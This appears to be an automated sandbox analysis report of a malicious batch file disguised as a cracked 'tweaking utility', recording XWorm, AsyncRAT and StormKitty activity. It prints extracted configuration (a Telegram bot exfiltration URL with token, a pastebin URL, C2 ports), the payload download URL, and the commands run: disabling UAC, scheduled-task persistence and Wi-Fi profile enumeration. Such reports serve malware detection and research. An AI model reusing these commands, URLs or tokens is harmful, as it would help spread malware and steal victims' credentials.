Analysis

  • max time kernel
    32s
  • max time network
    33s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    29-12-2024 11:26

General

  • Target

    EXM_Premium_Tweaking_Utility_1.0_Cracked.bat

  • Size

    672KB

  • MD5

    62effd806c73fab27bdae3a51dd955d8

  • SHA1

    8ce251bd3d0a31fca442884a3fe0ebe940d08ca0

  • SHA256

    63577b4677fe321246f2b6991639c920b55d4991b8fcf5986787ea1cd55e3250

  • SHA512

    19e954a8bdae76848188b2b12675bce8d56df30e6ffaa9e7b07b888631419e23c2f40e176ed8ea7f7b6b0a7ae7521ca06ed6dc4cb53663bf9b7fdc888dc7aaaa

  • SSDEEP

    3072:FWGzQbmbkAqA2xH7VkKEn14IZVvisLur+K3:FWGiVNEn14IZVvisL43

Malware Config

Extracted

Family

xworm

Attributes
  • Install_directory

    %LocalAppData%

  • install_file

    USB.exe

  • pastebin_url

    https://pastebin.com/raw/ZnhxAV6a

  • telegram

    https://api.telegram.org/bot7538644364:AAHEMV7mmxz6PSRgzo0ORf3_n0BaazmrAqk/sendMessage?chat_id=7541917888

Extracted

Family

asyncrat

Botnet

Default

C2

127.0.0.1:6606

127.0.0.1:7707

127.0.0.1:8808

https://api.telegram.org/bot7538644364:AAHEMV7mmxz6PSRgzo0ORf3_n0BaazmrAqk/sendMessage?chat_id=7541917888

Mutex

AsyncMutex_6SI8OkPnk

Attributes
  • delay

    3

  • install

    false

  • install_folder

    %AppData%

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Asyncrat family
  • Detect Xworm Payload 2 IoCs
  • StormKitty

    StormKitty is an open source info stealer written in C#.

  • StormKitty payload 2 IoCs
  • Stormkitty family
  • UAC bypass 3 TTPs 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Xworm family
  • Async RAT payload 1 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 3 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Drops desktop.ini file(s) 8 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 34 IoCs
  • Suspicious use of AdjustPrivilegeToken 47 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 58 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\EXM_Premium_Tweaking_Utility_1.0_Cracked.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2532
    • C:\Windows\system32\reg.exe
      Reg.exe delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\SystemRestore" /v "RPSessionInterval" /f
      2⤵
        PID:2120
      • C:\Windows\system32\reg.exe
        Reg.exe delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\SystemRestore" /v "DisableConfig" /f
        2⤵
          PID:4812
        • C:\Windows\system32\reg.exe
          Reg.exe add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v "SystemRestorePointCreationFrequency" /t REG_DWORD /d 0 /f
          2⤵
            PID:5040
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -ExecutionPolicy Unrestricted -NoProfile Enable-ComputerRestore -Drive 'C:\'
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2468
          • C:\Windows\system32\reg.exe
            Reg.exe ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t REG_DWORD /d "0" /f
            2⤵
            • UAC bypass
            PID:1980
          • C:\Windows\system32\reg.exe
            Reg.exe add "HKCU\CONSOLE" /v "VirtualTerminalLevel" /t REG_DWORD /d "1" /f
            2⤵
              PID:3532
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c wmic path Win32_UserAccount where name="Admin" get sid | findstr "S-"
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:2920
              • C:\Windows\System32\Wbem\WMIC.exe
                wmic path Win32_UserAccount where name="Admin" get sid
                3⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:1568
              • C:\Windows\system32\findstr.exe
                findstr "S-"
                3⤵
                  PID:4076
              • C:\Windows\system32\chcp.com
                chcp 65001
                2⤵
                  PID:984
                • C:\Windows\system32\chcp.com
                  chcp 437
                  2⤵
                    PID:620
                  • C:\Windows\system32\curl.exe
                    curl -g -k -L -# -o "C:\Users\Admin\AppData\Local\Temp\exm.zip" "https://github.com/anonyketa/EXM-Tweaking-Utility-Premium/releases/download/V1.0/exm.zip"
                    2⤵
                      PID:3568
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      powershell -NoProfile Expand-Archive 'C:\Users\Admin\AppData\Local\Temp\exm.zip' -DestinationPath 'C:\Exm\'
                      2⤵
                      • Command and Scripting Interpreter: PowerShell
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:3440
                    • C:\exm\EXMservice.exe
                      EXMservice.exe
                      2⤵
                      • Checks computer location settings
                      • Executes dropped EXE
                      • Suspicious use of WriteProcessMemory
                      PID:4928
                      • C:\Users\Admin\msedge.exe
                        "C:\Users\Admin\msedge.exe"
                        3⤵
                        • Checks computer location settings
                        • Drops startup file
                        • Executes dropped EXE
                        • Suspicious behavior: AddClipboardFormatListener
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        • Suspicious use of SetWindowsHookEx
                        • Suspicious use of WriteProcessMemory
                        PID:2956
                        • C:\Windows\System32\schtasks.exe
                          "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "msedge" /tr "C:\Users\Admin\AppData\Local\msedge.exe"
                          4⤵
                          • Scheduled Task/Job: Scheduled Task
                          PID:2912
                      • C:\Users\Admin\svchost.exe
                        "C:\Users\Admin\svchost.exe"
                        3⤵
                        • Executes dropped EXE
                        • Drops desktop.ini file(s)
                        • System Location Discovery: System Language Discovery
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        • Suspicious use of WriteProcessMemory
                        PID:4828
                        • C:\Windows\SysWOW64\cmd.exe
                          "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All
                          4⤵
                          • System Location Discovery: System Language Discovery
                          • System Network Configuration Discovery: Wi-Fi Discovery
                          • Suspicious use of WriteProcessMemory
                          PID:5040
                          • C:\Windows\SysWOW64\chcp.com
                            chcp 65001
                            5⤵
                            • System Location Discovery: System Language Discovery
                            PID:5088
                          • C:\Windows\SysWOW64\netsh.exe
                            netsh wlan show profile
                            5⤵
                            • Event Triggered Execution: Netsh Helper DLL
                            • System Location Discovery: System Language Discovery
                            • System Network Configuration Discovery: Wi-Fi Discovery
                            PID:4144
                          • C:\Windows\SysWOW64\findstr.exe
                            findstr All
                            5⤵
                            • System Location Discovery: System Language Discovery
                            PID:632
                        • C:\Windows\SysWOW64\cmd.exe
                          "cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid
                          4⤵
                          • System Location Discovery: System Language Discovery
                          • Suspicious use of WriteProcessMemory
                          PID:4296
                          • C:\Windows\SysWOW64\chcp.com
                            chcp 65001
                            5⤵
                            • System Location Discovery: System Language Discovery
                            PID:4312
                          • C:\Windows\SysWOW64\netsh.exe
                            netsh wlan show networks mode=bssid
                            5⤵
                            • Event Triggered Execution: Netsh Helper DLL
                            • System Location Discovery: System Language Discovery
                            PID:3608
                    • C:\Windows\system32\chcp.com
                      chcp 65001
                      2⤵
                        PID:2404

                    Network

                    MITRE ATT&CK Enterprise v15

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    • C:\Users\Admin\AppData\Local\5c690511666ed089a3eccf2e27e3a1b3\Admin@GUMLNLFE_en-US\Browsers\Firefox\Bookmarks.txt

                      Filesize

                      105B

                      MD5

                      2e9d094dda5cdc3ce6519f75943a4ff4

                      SHA1

                      5d989b4ac8b699781681fe75ed9ef98191a5096c

                      SHA256

                      c84c98bbf5e0ef9c8d0708b5d60c5bb656b7d6be5135d7f7a8d25557e08cf142

                      SHA512

                      d1f7eed00959e902bdb2125b91721460d3ff99f3bdfc1f2a343d4f58e8d4e5e5a06c0c6cdc0379211c94510f7c00d7a8b34fa7d0ca0c3d54cbbe878f1e9812b7

                    • C:\Users\Admin\AppData\Local\5c690511666ed089a3eccf2e27e3a1b3\Admin@GUMLNLFE_en-US\System\Process.txt

                      Filesize

                      4KB

                      MD5

                      e148d9cad1fdff6c96d820fbc3b0c288

                      SHA1

                      b1664583ca71952d11e2a8025842e98e786323ad

                      SHA256

                      28d96e494d1ac8e454ea1e4f3f2661ee45c3f32a3b90015b9319d4c9fa280ec5

                      SHA512

                      5cdc4f390c7bbd6a6a8371f2c85fe34f3346608d60d63513ce8e76c41a42f6931421ca98d9bf7e9d24d88c83748200cf26c2ac024ddd8a33fec135e2321e2c01

                    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                      Filesize

                      2KB

                      MD5

                      21e44557b2fa8e6186d9177607dd801f

                      SHA1

                      4def4d9e454c653b4a778e06adcb249d3323142d

                      SHA256

                      49b07f45f106ef173012341b976b7937f7d8c74114a9cb027be11bcf29aab867

                      SHA512

                      7e24a56251de14ed1438426e7f6cebac07eee6e693bbd24e3380116a22e046c94d95be50d850b12e965750837fe0de4289baf1182b422a71a9a9abf11f7661d1

                    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                      Filesize

                      64B

                      MD5

                      a51f20ae34f37280fda519f9d38f3ece

                      SHA1

                      467d422f1516dd0ee9590fa0a8847a6a8705378d

                      SHA256

                      5c29cb3608bfc5634cdbfff7ed20ed59e2b9090688d2357e67c872b67c84f350

                      SHA512

                      2bdb192198ce7d68c28b31735dd69491880f171b85973551c70cb49d7c78648b02942b9a03611a5bcef0e4010977b6eb54cd64474f68668a13b9ba959a6a2e2d

                    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_u3ikkjri.21a.ps1

                      Filesize

                      60B

                      MD5

                      d17fe0a3f47be24a6453e9ef58c94641

                      SHA1

                      6ab83620379fc69f80c0242105ddffd7d98d5d9d

                      SHA256

                      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                      SHA512

                      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                    • C:\Users\Admin\AppData\Local\Temp\exm.zip

                      Filesize

                      13.3MB

                      MD5

                      57a6527690625bea4e4f668e7db6b2aa

                      SHA1

                      c5799fd94999d128203e81e22c6d9fdb86e167ee

                      SHA256

                      076e01b09f9c5cccc273b2f7dfa1a1efccc1a8e8ebf98a7eee756024b93bad17

                      SHA512

                      d86c7f79989eb0781e15f8631048506ffab338f933ddfedbcc2c7464447770beaf21b7ed3cba2ebb97be5ffdc9a450f2df2e2313efaeb8e8101f2ee53c066e4e

                    • C:\Users\Admin\msedge.exe

                      Filesize

                      146KB

                      MD5

                      f1c2525da4f545e783535c2875962c13

                      SHA1

                      92bf515741775fac22690efc0e400f6997eba735

                      SHA256

                      9e6985fdb3bfa539f3d6d6fca9aaf18356c28a00604c4f961562c34fa9f11d0f

                      SHA512

                      56308ac106caa84798925661406a25047df8d90e4b65b587b261010293587938fa922fbb2cfdedfe71139e16bfcf38e54bb31cbcc00cd244db15d756459b6133

                    • C:\Users\Admin\svchost.exe

                      Filesize

                      226KB

                      MD5

                      1bea6c3f126cf5446f134d0926705cee

                      SHA1

                      02c49933d0c2cc068402a93578d4768745490d58

                      SHA256

                      1d69b5b87c4cd1251c5c94461a455659febb683eab0ebd97dd30da2319ffc638

                      SHA512

                      eb9f423f6adb5e686a53f5f197e6b08455f8048d965a9ec850838fdf4724ef87f68945c435ace5a48a9a7226006a348e97586335d0246ea0dc898a412dea5df3

                    • C:\exm\EXMservice.exe

                      Filesize

                      12.0MB

                      MD5

                      aab9c36b98e2aeff996b3b38db070527

                      SHA1

                      4c2910e1e9b643f16269a2e59e3ada80fa70e5fa

                      SHA256

                      c148cc14f15b71a2d3f5e6bce6b706744f6b373a7e6c090c14f46f81d2d6e82f

                      SHA512

                      0db75756a041a7cda6b384718581aaf11e6873614465dd56e81f17ad171cffe380e288a3c2ee540222190392904921f26df8a1d66d4108051c60fc8e5b2df779

                    • memory/2468-15-0x00007FFCED650000-0x00007FFCED845000-memory.dmp

                      Filesize

                      2.0MB

                    • memory/2468-0-0x00007FFCED650000-0x00007FFCED845000-memory.dmp

                      Filesize

                      2.0MB

                    • memory/2468-2-0x00007FFCED650000-0x00007FFCED845000-memory.dmp

                      Filesize

                      2.0MB

                    • memory/2468-12-0x000001A6DC4A0000-0x000001A6DC4C2000-memory.dmp

                      Filesize

                      136KB

                    • memory/2468-1-0x00007FFCED650000-0x00007FFCED845000-memory.dmp

                      Filesize

                      2.0MB

                    • memory/2956-127-0x0000000000470000-0x000000000049A000-memory.dmp

                      Filesize

                      168KB

                    • memory/3440-28-0x0000027A75C00000-0x0000027A75C12000-memory.dmp

                      Filesize

                      72KB

                    • memory/3440-29-0x0000027A75BF0000-0x0000027A75BFA000-memory.dmp

                      Filesize

                      40KB

                    • memory/4828-132-0x0000000000E90000-0x0000000000ECE000-memory.dmp

                      Filesize

                      248KB

                    • memory/4828-133-0x0000000005E70000-0x0000000005ED6000-memory.dmp

                      Filesize

                      408KB

                    • memory/4828-290-0x00000000067E0000-0x0000000006872000-memory.dmp

                      Filesize

                      584KB

                    • memory/4828-291-0x0000000006E30000-0x00000000073D4000-memory.dmp

                      Filesize

                      5.6MB

                    • memory/4828-295-0x00000000069C0000-0x00000000069CA000-memory.dmp

                      Filesize

                      40KB

                    • memory/4928-71-0x0000000000380000-0x00000000003E6000-memory.dmp

                      Filesize

                      408KB